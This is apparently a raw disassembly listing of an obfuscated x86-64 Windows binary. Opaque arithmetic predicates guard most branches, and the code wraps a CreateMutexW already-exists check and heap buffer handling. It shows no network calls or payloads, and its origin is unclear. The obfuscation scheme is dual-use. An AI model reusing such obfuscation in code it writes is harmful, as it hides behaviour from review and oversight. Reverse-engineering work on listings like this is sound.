and eax, 0xb438e899
or eax, edx
cmp eax, 0x8e7fdd90
ja 0x140067b1d
nop dword [rax]
mov eax, dword [0x1415b1ac8]
xor edx, edx
div dword [0x1415b1acc]
add eax, 0x39946db2
mov edx, eax
and edx, 0x3c5116e7
and eax, 0x140004c1
add eax, eax
sub edx, eax
lea rax, [r11 + 1]
mov word [rcx + r11*2], r12w
mov qword [rbp - 0x68], rax
cmp edx, 0xf6279cdf
jne 0x1400674e0
mov word [rcx + r11*2], r12w
lea rax, [r11 + 1]
mov qword [rbp - 0x68], rax
jmp 0x140067ae0
mov eax, dword [0x1415b1ae8]
mov ecx, dword [0x1415b1aec]
mov edx, eax
xor edx, ecx
not edx
or eax, ecx
and eax, edx
or eax, 0x44024c41
and eax, 0xe4664c41
cmp eax, 0x5814ed35
nop word cs:[rax + rax]
mov eax, dword [0x1415b1af0]
and eax, dword [0x1415b1af4]
imul eax, eax, 0x7d9a6a70
and eax, 0xcec419d0
xor eax, 0x16344130
cmp eax, 0x2e4be78a
jb 0x140067b60
mov r14, qword [rbp - 0x78]
mov rsi, qword [rbp - 0x70]
movabs r12, 0x8000000000000000
test r11, r11
je 0x140067e17
lea rax, [rsi + r11*2]
xor ecx, ecx
mov rdx, rsi
nop word [rax + rax]
mov r8d, dword [0x1415b1b10]
mov r9d, dword [0x1415b1b14]
mov r10d, r8d
and r10d, r9d
add r10d, r10d
add r8d, r9d
sub r8d, r10d
mov r9d, r8d
xor r9d, 0xfe27bcb0
xor r8d, 0x1804105
and r8d, 0x3b8469a5
mov r10d, r9d
and r10d, 0xc47b965a
imul r10d, r8d
mov r8d, r9d
and r8d, 0x3b8469a5
or r9d, 0x3b8469a5
imul r9d, r8d
add r9d, r10d
xor r9d, 0xd1617985
cmp r9d, 0x708367ca
ja 0x140067bb0
cmp word [rdx], 0
je 0x140067d60
nop word cs:[rax + rax]
mov r8d, dword [str.B_7_]
add r8d, dword [0x1415b1b1c]
mov r9d, r8d
xor r9d, 0x26f0ddc0
and r8d, 0x190f223f
add r8d, r8d
sub r8d, r9d
mov r9d, r8d
or r9d, 0x438182c6
not r8d
and r8d, 0x20001008
and r9d, 0x4fb9a6c7
or r9d, r8d
cmp r9d, 0xc826897f
ja 0x140067c30
add rdx, 2
inc rcx
cmp rdx, rax
jne 0x140067bb0
mov eax, dword [0x1415b1b20]
mov ecx, dword [0x1415b1b24]
not eax
not ecx
and ecx, eax
mov eax, ecx
or eax, 0x90b34
sub eax, ecx
mov ecx, eax
not ecx
or ecx, 0x82004040
and ecx, 0x937a52d7
and eax, 0x2c848820
sub eax, ecx
cmp eax, 0xe378ceb7
jbe 0x140067cd0
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], rsi
nop dword [rax]
mov eax, dword [0x1415b1b28]
mov ecx, dword [0x1415b1b2c]
mov edx, eax
not edx
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
mov eax, ecx
and eax, 0xce326186
and ecx, 0x4326006
xor eax, 0xb4faf427
lea eax, [rax + rcx*2]
and eax, 0xfff7f59f
xor eax, 0x64400b54
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], rsi
cmp eax, 0xfae6bb13
je 0x140067cd0
mov eax, dword [0x1415b1b30]
mov ecx, dword [0x1415b1b34]
mov edx, eax
xor edx, ecx
not ecx
and ecx, eax
add ecx, ecx
sub ecx, edx
and ecx, 0xcb27ebd4
imul eax, ecx, 0xfa493378
mov ecx, eax
xor ecx, 0xcfef8597
and eax, 0xcfef8580
or eax, ecx
cmp eax, 0x67280e87
je 0x140067ea9
jmp 0x140067e6b
mov eax, dword [0x1415b1ba8]
mov ecx, dword [0x1415b1bac]
mov edx, eax
xor edx, ecx
not ecx
and ecx, eax
add ecx, ecx
sub ecx, edx
mov eax, ecx
xor eax, 0x207b3511
and ecx, 0x5f84caee
add ecx, ecx
sub ecx, eax
cmp ecx, 0x9329308e
je 0x140067d60
cmp r14, r12
jne 0x140067db0
mov r15d, 1
jmp 0x14006812f
mov eax, dword [0x1415b1bc0]
mov ecx, dword [0x1415b1bc4]
mov edx, eax
xor edx, ecx
not edx
or eax, ecx
and eax, edx
or eax, 0x5f21c2f9
mov ecx, eax
and ecx, 0x3cf73dd7
add ecx, ecx
sub eax, ecx
cmp eax, 0x50e89892
je 0x140067db0
nop
mov eax, dword [0x1415b1bc8]
sub eax, dword [0x1415b1bcc]
imul eax, eax, 0x7ad4861d
mov ecx, eax
not ecx
and ecx, 0x702aa2af
and eax, 0x8fd55d50
sub eax, ecx
and eax, 0xc356f41d
cmp eax, 0xf636726b
ja 0x140067de0
mov rdi, rsi
jmp 0x140068412
mov eax, dword [0x1415b1af8]
mov ecx, dword [0x1415b1afc]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
shr eax, 4
imul rax, rax, 0x93e0987
shr rax, 0x37
imul eax, eax, 0x7033da51
add eax, 0x3ad60f
cmp eax, 0x542f5cf9
ja 0x140068e32
jmp 0x140068e02
mov eax, dword [0x1415b1b38]
mov ecx, dword [0x1415b1b3c]
mov edx, eax
xor edx, ecx
not edx
and edx, ecx
add edx, edx
sub ecx, edx
add eax, ecx
add eax, 0xed96beb1
mov ecx, 0x9c6d020d
imul rcx, rax
shr rcx, 0x3f
or ecx, 0xb9562ba2
mov qword [rbp - 0x68], r11
cmp ecx, 0x169bd8f8
jae 0x140067eaf
mov qword [rbp - 0x68], r11
jmp 0x140067e6b
mov rax, r11
not rax
lea rax, [rax + r11*2]
cmp word [rsi + rax*2], 0
je 0x140067fb4
nop word cs:[rax + rax]
mov eax, dword [0x1415b1b80]
xor eax, dword [0x1415b1b84]
mov ecx, eax
not ecx
and ecx, 0x88a921cc
and eax, 0x7756de33
sub eax, ecx
add eax, 0x68eea5d0
xor eax, 0x62c922c5
cmp eax, 0x5f623b0b
jb 0x140067ed0
nop
mov eax, dword [0x1415b1b88]
xor eax, dword [0x1415b1b8c]
and eax, 0x23816100
add eax, 0x2f409dfa
cmp eax, 0x7507b99d
ja 0x140067f00
cmp r11, r14
jne 0x140067faa
mov rdi, r11
sub rsp, 0x20
lea rcx, [rbp - 0x78]
call fcn.1401ed270
add rsp, 0x20
nop word [rax + rax]
mov eax, dword [0x1415b1b90]
imul eax, dword [0x1415b1b94]
mov ecx, eax
and ecx, 0xe14823b0
or eax, 0xe14823b0
add eax, ecx
mov ecx, eax
and ecx, 0x3c738943
and eax, 0x2c020140
add eax, eax
sub ecx, eax
cmp ecx, 0xf31920c0
je 0x140067f40
mov r14, qword [rbp - 0x78]
mov rsi, qword [rbp - 0x70]
nop dword [rax]
mov eax, dword [0x1415b1b98]
sub eax, dword [0x1415b1b9c]
imul rcx, rax, 0xccebce5
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1f
cmp eax, 0xff005755
je 0x140067f80
mov r11, rdi
mov word [rsi + r11*2], 0
inc r11
cmp r14, r11
jbe 0x1400680f0
nop dword [rax]
mov eax, dword [0x1415b1b60]
mov ecx, dword [0x1415b1b64]
mov edx, eax
and edx, ecx
add edx, edx
add eax, ecx
sub eax, edx
xor eax, 0x9d09c5fa
add eax, 0xdb8ee967
imul rax, rax, 0x383859fd
shr rax, 0x3b
cmp eax, 0x6101efe1
je 0x140067fc0
test r11, r11
jne 0x140068fa2
mov rbx, qword [0x1415d3918]
mov eax, dword [0x1415b1b68]
sub eax, dword [0x1415b1b6c]
mov ecx, eax
not ecx
and ecx, 0x2cd405f1
mov edx, eax
and edx, 0xd32bfa0e
imul edx, ecx
mov ecx, eax
and ecx, 0x2cd405f1
or eax, 0x2cd405f1
imul eax, ecx
add eax, edx
mov ecx, eax
xor ecx, 0x822d4000
or eax, 0x61802109
and eax, ecx
and eax, 0xe3ad6109
cmp eax, 0x8f9b1006
je 0x1400680a2
mov eax, dword [0x1415b1b70]
sub eax, dword [0x1415b1b74]
mov ecx, eax
and ecx, 0x51db9798
add ecx, ecx
neg ecx
lea edi, [rax + rcx]
add edi, 0xd1db9798
mov eax, edi
or eax, 0xa94390c4
xor eax, 0xa41bc907
or edi, 0x5be436f8
and edi, eax
sub rsp, 0x20
mov rcx, rbx
xor edx, edx
mov r8, rsi
call fcn.140219910
add rsp, 0x20
cmp edi, 0xdfd9b94c
jne 0x1400680ba
sub rsp, 0x20
mov rcx, rbx
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
jmp 0x140068050
xor r11d, r11d
nop dword [rax]
mov eax, dword [0x1415b1b78]
imul eax, dword [0x1415b1b7c]
and eax, 0x43ab21ff
add eax, 0x7897d6f8
or eax, 0xaa022c26
cmp eax, 0x15997e15
je 0x1400680c0
mov esi, 2
nop dword [rax + rax]
mov eax, dword [0x1415b1ba0]
xor eax, dword [0x1415b1ba4]
imul rcx, rax, 0x3700babf
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1f
imul eax, eax, 0x1f5ac967
mov ecx, eax
xor ecx, 0x14d8fd2a
or eax, 0xb2702d5
and eax, ecx
cmp eax, 0x4fa41ddc
je 0x1400680f0
mov r15, r11
mov eax, dword [0x1415b1bb0]
xor edx, edx
div dword [0x1415b1bb4]
and eax, 0x680402bc
xor eax, 0x6d0652a0
or eax, 0x82e12c03
add eax, 0x8e74ab5d
jb 0x14006816c
sub rsp, 0x20
xor ecx, ecx
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_CreateMutexW
call fcn.14021a080
add rsp, 0x20
mov edi, 0x96a4afcf
nop word cs:[rax + rax]
mov eax, dword [0x1415b1bb8]
mov ecx, dword [0x1415b1bbc]
lea r14d, [rax + rcx]
add r14d, 0xf9846285
imul r14, rdi
shr r14, 0x3f
sub rsp, 0x20
xor ecx, ecx
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_CreateMutexW
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
call fcn.14021a080
add rsp, 0x20
cmp r14d, 0x947579af
je 0x140068180
cmp rbx, 6
jge 0x1400681d5
test rbx, rbx
je 0x14006831b
nop dword [rax + rax]
mov ecx, dword [0x1415b1be0]
mov edx, dword [0x1415b1be4]
mov r8d, edx
and r8d, ecx
add ecx, edx
sub ecx, r8d
mov edx, ecx
not edx
and edx, 0xc2801f2b
mov r8d, ecx
and r8d, 0x3d7fe0d4
imul r8d, edx
mov edx, ecx
and edx, 0xc2801f2b
or ecx, 0xc2801f2b
imul ecx, edx
add ecx, r8d
xor ecx, 0xfeed2289
add ecx, 0x3271e394
cmp ecx, 0xb47b329d
ja 0x1400681e0
nop word [rax + rax]
mov ecx, dword [0x1415b1be8]
xor ecx, dword [0x1415b1bec]
mov edx, ecx
not edx
or edx, 0x772ac09e
add ecx, edx
add ecx, 0x4c66e825
mov edx, ecx
and edx, 0x70621b0f
add edx, edx
sub ecx, edx
cmp ecx, 0x5d4df4ac
je 0x140068240
lea r14, [r12 + 1]
mov edi, 1
cmp eax, 0xb7
jne 0x1400683b3
sub rsp, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
nop dword [rax + rax]
mov ecx, dword [0x1415b1bf0]
mov edx, dword [0x1415b1bf4]
mov eax, ecx
and eax, edx
or ecx, edx
not eax
and eax, ecx
mov ecx, eax
not ecx
and ecx, 0xf385d8ff
mov edx, eax
and edx, 0xc7a2700
imul edx, ecx
mov ecx, eax
and ecx, 0xf385d8ff
or eax, 0xf385d8ff
imul eax, ecx
add eax, edx
mov ecx, eax
xor ecx, 0xfbebda40
xor eax, 0x41425bf
mov edx, eax
and edx, 0x1cf278e3
and ecx, 0xe30d871c
imul ecx, edx
mov edx, eax
and edx, 0xe30d871c
or eax, 0xe30d871c
imul eax, edx
add eax, ecx
cmp eax, 0x5df7a6d7
je 0x1400682a0
xor edi, edi
jmp 0x1400683b3
mov edi, eax
nop dword [rax]
mov eax, dword [0x1415b1bd0]
add eax, dword [0x1415b1bd4]
imul eax, eax, 0xc3b3d565
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x9a7398c
and ecx, 0x3658c673
imul ecx, edx
mov edx, eax
and edx, 0x3658c673
or eax, 0x3658c673
imul eax, edx
add eax, ecx
not eax
or eax, 0xd87c9832
cmp eax, 0x768dfa10
je 0x140068320
nop word [rax + rax]
mov eax, dword [0x1415b1bd8]
mov ecx, dword [0x1415b1bdc]
mov edx, eax
not edx
or eax, ecx
not ecx
and ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x6c5dd275
xor eax, 0x880fc05d
and eax, ecx
mov ecx, eax
and ecx, 0x4410bf88
xor eax, 0x4410bf88
lea eax, [rax + rcx*2]
cmp eax, 0x35789ac2
jbe 0x140068370
mov r14, r12
mov word [rsi], 0
test r15, r15
je 0x14006840f
mov rcx, qword [0x1415d3918]
sub rsp, 0x20
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
nop word [rax + rax]
mov eax, dword [0x1415b1bf8]
mov ecx, dword [0x1415b1bfc]
mov edx, ecx
and edx, eax
add eax, ecx
sub eax, edx
and eax, 0x7fffffff
xor eax, 0x88124359
add eax, 0x7e5a409a
or eax, 0x94ffec9b
cmp eax, 0x315b63a9
jb 0x1400683e0
mov r11, rbx
lea rax, [r12 + 1]
nop word [rax + rax]
mov ecx, dword [0x1415b1c00]
mov edx, dword [0x1415b1c04]
add ecx, edx
add ecx, 0x4b0eb326
imul rcx, rcx, 0x3974153f
shr rcx, 0x3d
cmp ecx, 0x14d06a00
ja 0x140068420
cmp r14, rax
mov r15, qword [rbp + 0x1080]
mov r12, qword [rbp + 0x1910]
jne 0x140068a75
mov eax, 0x8519a48b
nop word cs:[rax + rax]
mov ecx, dword [0x1415b1c08]
add ecx, dword [0x1415b1c0c]
mov edx, ecx
xor edx, 0xa64246ad
and ecx, 0x59bdb952
add ecx, ecx
sub ecx, edx
mov edx, ecx
not edx
mov r8d, ecx
and r8d, 0x8b2d6ab
and edx, 0xf74d2954
imul edx, r8d
mov r8d, ecx
and r8d, 0xf74d2954
or ecx, 0xf74d2954
imul ecx, r8d
add ecx, edx
shr ecx, 1
imul rcx, rax
shr rcx, 0x3e
cmp ecx, 0xab26b5d1
ja 0x140068470
mov r14, qword [rbp + 0x1088]
nop word cs:[rax + rax]
mov eax, dword [0x1415b1c10]
add eax, dword [0x1415b1c14]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xbfa79eb4
and ecx, 0x4058614b
imul ecx, edx
mov edx, eax
and edx, 0x4058614b
or eax, 0x4058614b
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xcb5accce
xor eax, 0x24003000
or eax, 0x5aa50f3d
add eax, ecx
cmp eax, 0xcc35824f
je 0x1400684e0
nop
mov eax, dword [0x1415b1c18]
mov ecx, dword [0x1415b1c1c]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
or eax, 0xc05e364d
mov ecx, eax
xor ecx, 0x546766e6
and ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xae205892
and eax, 0x11838560
imul eax, edx
mov edx, ecx
and edx, 0x11998129
or ecx, 0x119b8569
imul ecx, edx
add ecx, eax
cmp ecx, 0xd672fe8c
jb 0x140068530
mov qword [rbp + 0x1688], r11
test rdi, rdi
je 0x140068950
movabs r10, 0x448ee3c857db2314
mov eax, dword [0x1415b1c20]
mov ecx, dword [0x1415b1c24]
mov edx, eax
not edx
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
and ecx, 0x554eabe4
xor ecx, 0x540e8b60
add ecx, 0x89e0a303
lea rdi, [0x14159878a]
cmp ecx, 0x9a39a2ac
jae 0x14006865a
mov qword [r15], rdi
mov rcx, qword [r15]
mov dword [r14], 0xc37a3608
mov edx, dword [r14]
sub rsp, 0x20
mov rsi, r10
call fcn.14003f180
mov r10, rsi
add rsp, 0x20
mov rcx, qword [rax]
mov rdx, rcx
and rdx, rsi
add rdx, rdx
add rcx, rsi
sub rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
mov r9d, eax
and r9b, 0x53
add r9b, r9b
sub al, r9b
add al, 0xd3
xor r8b, 0x59
xor dl, 2
mov qword [r12], rcx
mov byte [r12 + 8], al
mov byte [r12 + 9], r8b
mov byte [r12 + 0xa], dl
movabs rbx, 0x580ce40f5fb1532e
mov r13, r15
mov rax, rbx
not rax
mov qword [rbp + 0x1a68], rax
nop word cs:[rax + rax]
mov r15d, dword [0x1415b1c28]
imul r15d, dword [0x1415b1c2c]
mov eax, r15d
or eax, 0x8085202
xor eax, 0x28200003
or r15d, 0xc7230
and r15d, eax
not r15d
or r15d, 0xd7d38dcc
mov qword [r13], rdi
mov rcx, qword [r13]
mov dword [r14], 0xc37a3608
mov edx, dword [r14]
sub rsp, 0x20
mov rsi, rdi
mov rdi, r10
call fcn.14003f180
mov r10, rdi
mov rdi, rsi
add rsp, 0x20
mov rcx, qword [rbp + 0x1a68]
xor rcx, rbx
mov rdx, qword [rax]
and rdx, rcx
and rcx, r10
xor rcx, rbx
xor rcx, rbx
xor rcx, rdx
movzx edx, byte [rax + 0xa]
movzx eax, word [rax + 8]
mov r8d, eax
shr r8d, 8
xor al, 0xd3
mov r9d, r8d
and r9b, 0x59
add r9b, r9b
sub r8b, r9b
add r8b, 0x59
xor dl, 2
mov qword [r12], rcx
mov byte [r12 + 8], al
mov byte [r12 + 9], r8b
mov byte [r12 + 0xa], dl
cmp r15d, 0xea5d9ac7
jb 0x140068680
mov eax, dword [0x1415b1c30]
mov ecx, dword [0x1415b1c34]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
add eax, 0xbf23805c
mov ecx, 0x85e5ad47
imul rcx, rax
shr rcx, 0x3f
cmp ecx, 0xe2fa9324
mov r15, qword [rbp + 0x1090]
jne 0x14006882a
mov rax, qword [rbp + 0x1910]
mov rcx, qword [rbp + 0x1758]
mov qword [rcx], rax
mov qword [rcx + 8], 0xb
mov rdx, qword [rbp + 0x1760]
mov qword [rdx], rcx
lea rax, [0x1401494f0]
mov qword [rdx + 8], rax
lea rax, [0x1402593b8]
mov rcx, qword [rbp + 0x1768]
mov qword [rcx], rax
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], 0
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 1
sub rsp, 0x20
call fcn.140178600
add rsp, 0x20
lea rax, [0x14158b49b]
mov rcx, qword [rbp + 0x1750]
mov qword [rcx], rax
mov rcx, qword [rcx]
mov dword [r15], 0x96bd4da9
mov edx, dword [r15]
sub rsp, 0x20
call fcn.1400475f0
add rsp, 0x20
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, qword [rax + 0x10]
mov r13, qword [rbp + 0x1750]
mov rdi, qword [rbp + 0x1758]
mov rbx, qword [rbp + 0x1760]
mov r14, qword [rbp + 0x1768]
nop word cs:[rax + rax]
mov eax, dword [0x1415b1c38]
xor edx, edx
div dword [0x1415b1c3c]
and eax, 0x45d20748
imul r12, rax, 0x41eb2b65
shr r12, 0x3c
or r12d, 0x81195a54
mov rax, qword [rbp + 0x1910]
mov qword [rdi], rax
mov qword [rdi + 8], 0xb
mov qword [rbx], rdi
lea rax, [0x1401494f0]
mov qword [rbx + 8], rax
lea rax, [0x1402593b8]
mov qword [r14], rax
mov qword [r14 + 8], 2
mov qword [r14 + 0x20], 0
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], 1
sub rsp, 0x20
mov rcx, r14
call fcn.140178600
add rsp, 0x20
lea rax, [0x14158b49b]
mov qword [r13], rax
mov rcx, qword [r13]
mov dword [r15], 0x96bd4da9
mov edx, dword [r15]
sub rsp, 0x20
call fcn.14021a0a0
add rsp, 0x20
mov rsi, rax
mov rax, qword [rax]
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
cmp r12d, 0xbe341c6d
ja 0x140068850
mov r14, rdx
mov rbx, rcx
mov rdi, rax
mov eax, dword [0x1415b1c40]
mov ecx, dword [0x1415b1c44]
mov edx, ecx
and edx, eax
add eax, ecx
sub eax, edx
or eax, 0x2582d29b
add eax, 0x89cc3e33
cmp eax, 0x61cbae49
jb 0x140068b05
jmp 0x140068a89
mov eax, dword [0x1415b1c68]
mov ecx, dword [0x1415b1c6c]
not eax
not ecx
or ecx, eax
not ecx
imul rax, rcx, 0x3f06457
shr rax, 0x20
sub ecx, eax
shr ecx, 1
add ecx, eax
shr ecx, 0x1f
imul eax, ecx, 0x881b523b
imul rax, rax, 0x6fdfeb91
shr rax, 0x3c
cmp eax, 0x4c26d316
ja 0x140068950
lea rax, [0x14158f8e9]
mov rcx, qword [rbp + 0x16b8]
mov qword [rcx], rax
mov rcx, qword [rcx]
mov rax, qword [rbp + 0x16b0]
mov dword [rax], 0x3c1656fb
mov edx, dword [rax]
sub rsp, 0x20
call fcn.14003b7d0
add rsp, 0x20
mov ecx, dword [rax]
mov edx, ecx
and edx, 0xd01edc3
add edx, edx
neg edx
add ecx, edx
add ecx, 0xd01edc3
movzx eax, word [rax + 4]
mov edx, eax
xor dl, 0x7f
shr eax, 8
mov r8d, eax
and r8b, 0x26
add r8b, r8b
sub al, r8b
add al, 0x26
movzx eax, al
shl rax, 0x28
movzx edx, dl
shl rdx, 0x20
or rdx, rax
mov rax, qword [rbp + 0x16c0]
mov dword [rax], ecx
shr rdx, 0x20
mov word [rax + 4], dx
mov rdx, qword [rbp + 0x16d0]
mov qword [rdx], rax
mov qword [rdx + 8], 6
mov r8, qword [rbp + 0x16c8]
mov qword [r8], rdx
lea rax, [0x1401494f0]
mov qword [r8 + 8], rax
lea rax, [0x1402593b8]
mov rcx, qword [rbp + 0x16d8]
mov qword [rcx], rax
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], 0
mov qword [rcx + 0x10], r8
mov qword [rcx + 0x18], 1
sub rsp, 0x20
call fcn.140178600
call fcn.1401b58b0
ud2
mov r13d, dword [0x1415b1c48]
and r13d, dword [0x1415b1c4c]
mov eax, r13d
xor eax, 0xcbd0089
xor r13d, 0x60427f52
mov ecx, r13d
and ecx, 0x13409474
and eax, 0x2cbf6b8b
imul eax, ecx
mov ecx, r13d
and ecx, 0x2cbf6b8b
or r13d, 0x2cbf6b8b
imul r13d, ecx
add r13d, eax
not r13d
or r13d, 0xc3b16482
mov r12d, dword [rsi + 0x18]
movzx r15d, byte [rsi + 0x1c]
movzx eax, byte [0x1415d3950]
sub rsp, 0x20
mov edx, 0x1d
xor ecx, ecx
call fcn.1401b5e70
add rsp, 0x20
cmp r13d, 0x28ab1cde
jae 0x140068b2c
mov eax, dword [rsi + 0x18]
movzx eax, byte [rsi + 0x1c]
movzx eax, byte [0x1415d3950]
sub rsp, 0x20
mov edx, 0x1d
xor ecx, ecx
call fcn.140219830
add rsp, 0x20
jmp 0x140068a89
test rax, rax
je 0x140068daa
xor r15b, 0xc8
xor r12d, 0xb8f2a298
movabs rcx, 0x949d83e89c6e11c3
xor r14, rcx
movabs rdx, 0x68fd890a5b75b39a
movabs rcx, 0x30c09134c20bb864
xor rcx, rdx
xor rbx, rcx
movabs rcx, 0x9580e87935829091
xor rdi, rcx
mov qword [rax], rdi
mov qword [rax + 8], rbx
mov qword [rax + 0x10], r14
mov dword [rax + 0x18], r12d
mov byte [rax + 0x1c], r15b
sub rsp, 0x20
mov r8d, 0x1d
mov rsi, qword [rbp + 0x17c0]
mov rcx, rsi
mov qword [rbp + 0x1910], rax
mov rdx, rax
call fcn.14021a0c0
add rsp, 0x20
mov eax, dword [0x1415b1c60]
xor edx, edx
div dword [0x1415b1c64]
mov r13, qword [rbp + 0x17b8]
xor eax, eax
mov r12, qword [rbp + 0x17b0]
mov r15, qword [rbp + 0x1968]
nop word cs:[rax + rax]
test al, al
jne 0x140068be0
mov rax, qword [rsi]
cmp eax, 2
jne 0x140068da1
mov rcx, qword [rsi + 8]
mov eax, ecx
and eax, 3
nop dword [rax]
mov edx, dword [0x1415b1c70]
add edx, dword [0x1415b1c74]
mov r8d, edx
and r8d, 0x1e47bfbf
or edx, 0x1e47bfbf
add edx, r8d
add edx, 0x9bdfa0da
mov r8d, edx
not r8d
and r8d, 0x5d50dac4
mov r9d, edx
and r9d, 0xa2af253b
imul r9d, r8d
mov r8d, edx
and r8d, 0x5d50dac4
or edx, 0x5d50dac4
imul edx, r8d
add edx, r9d
cmp edx, 0x7b820928
ja 0x140068c00
cmp rax, 2
jg 0x140068d70
cmp eax, 1
jne 0x140069328
lea rsi, [rcx - 1]
nop word cs:[rax + rax]
mov eax, dword [0x1415b1c80]
xor edx, edx
div dword [0x1415b1c84]
mov edx, eax
not edx
mov r8d, eax
and r8d, 0x349563f3
and edx, 0x4b6a9c0c
imul edx, r8d
mov r8d, eax
and r8d, 0x4b6a9c0c
or eax, 0x4b6a9c0c
imul eax, r8d
add eax, edx
add eax, 0x82c2c9c0
not eax
or eax, 0xa82e9846
cmp eax, 0xe3d9085e
jb 0x140068c80
mov rbx, qword [rcx - 1]
mov rdi, qword [rcx + 7]
mov r14, qword [rdi]
nop dword [rax]
mov eax, dword [0x1415b1c88]
or eax, dword [0x1415b1c8c]
mov ecx, eax
and ecx, 0xfe8c83f0
or eax, 0xfe8c83f0
add eax, ecx
not eax
or eax, 0x6f478ba2
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x80415
and eax, 0xd4f7f2ca
imul eax, edx
mov edx, ecx
and edx, 0x90b07048
or ecx, 0xd4f7f2ca
imul ecx, edx
add ecx, eax
cmp ecx, 0x48f3051d
je 0x140068ce0
test r14, r14
je 0x140069040
mov eax, dword [0x1415b1c90]
xor eax, dword [0x1415b1c94]
add eax, 0x193aabd8
mov ecx, 0x9b17cde3
imul rcx, rax
shr rcx, 0x3f
cmp ecx, 0x67ec104d
ja 0x140069030
jmp 0x140068fd7
mov eax, dword [0x1415b1c78]
mov ecx, dword [0x1415b1c7c]
not eax
not ecx
and ecx, eax
xor ecx, 0x3faea7c3
add ecx, 0x34fe1350
xor ecx, 0x23128846
cmp ecx, 0x6f6a08fa
ja 0x140068d70
jmp 0x140069328
sub rsp, 0x20
call fcn.1401b58b0
mov eax, dword [0x1415b1c50]
xor eax, dword [0x1415b1c54]
and eax, 0x66e31237
add eax, 0xe66de270
cmp eax, 0xd9c49dd1
jbe 0x140068dd0
ud2
mov eax, dword [0x1415b1c58]
sub eax, dword [0x1415b1c5c]
add eax, 0x6e3446c3
mov ecx, eax
xor ecx, 0x43e0b550
and ecx, eax
not ecx
or ecx, 0x981702af
ud2
mov eax, dword [0x1415b1b04]
mov ecx, eax
xor ecx, eax
not ecx
and ecx, dword [0x1415b1b00]
xor ecx, eax
and ecx, 0xc60087e8
imul eax, ecx, 0xb4bae52f
add eax, 0x56f82a2a
mov qword [rbp - 0x78], r14
cmp eax, 0x831cb7e
jae 0x140068e38
mov qword [rbp - 0x78], r14
jmp 0x140068e02
xor eax, eax
test al, al
jne 0x140068e73
mov eax, dword [0x1415b1b08]
and eax, dword [0x1415b1b0c]
imul rax, rax, 0x4cbed08f
shr rax, 0x3e
imul eax, eax, 0xd630d8f5
add eax, 0x70451323
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], 0
cmp eax, 0xdfc31e05
jbe 0x140068e81
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], 0
jmp 0x140068e3e
xor eax, eax
nop word cs:[rax + rax]
test al, al
jne 0x140068e90
test r14, r14
jne 0x140068f2d
sub rsp, 0x20
lea rcx, [rbp - 0x78]
call fcn.1401ed270
add rsp, 0x20
nop
mov eax, dword [0x1415b1b40]
mov ecx, dword [0x1415b1b44]
not eax
not ecx
or ecx, eax
not ecx
imul eax, ecx, 0x6e0266ee
add eax, 0x77c39295
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x1caaa8f0
and ecx, 0xe355570e
imul ecx, edx
mov edx, eax
and edx, 0xe355570f
or eax, 0xe355570f
imul eax, edx
add eax, ecx
cmp eax, 0x298bdc6d
jb 0x140068eb0
mov r14, qword [rbp - 0x78]
nop word cs:[rax + rax]
mov eax, dword [0x1415b1b48]
and eax, dword [0x1415b1b4c]
imul eax, eax, 0x4e74df04
cmp eax, 0xeb7c480
je 0x140068f10
mov rsi, qword [rbp - 0x70]
mov eax, dword [0x1415b1b50]
mov ecx, dword [0x1415b1b54]
xor ecx, eax
not ecx
and ecx, eax
mov eax, ecx
and eax, 0x9bb6c3a
add eax, eax
neg eax
add eax, ecx
add eax, 0xa7ef02a7
and eax, 0x1fdc08a3
cmp eax, 0x9143c740
jne 0x140068f70
mov word [rsi], 0
nop word cs:[rax + rax]
mov eax, dword [0x1415b1b58]
xor eax, dword [0x1415b1b5c]
add eax, 0xf0727941
or eax, 0x31273622
mov word [rsi], 0
cmp eax, 0x3504a196
je 0x140068f70
mov r11d, 1
cmp r14, 1
jbe 0x1400680f0
lea r9, [r11 + r11]
mov rcx, qword [0x1415d3918]
sub rsp, 0x20
xor edx, edx
mov r8, rsi
mov rsi, r11
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov r11, rsi
add rsp, 0x20
mov rsi, rax
test rax, rax
jne 0x1400680f0
jmp 0x1400672ae
mov r15d, dword [0x1415b1c98]
sub r15d, dword [0x1415b1c9c]
add r15d, 0xbe2ce9a0
mov eax, r15d
not eax
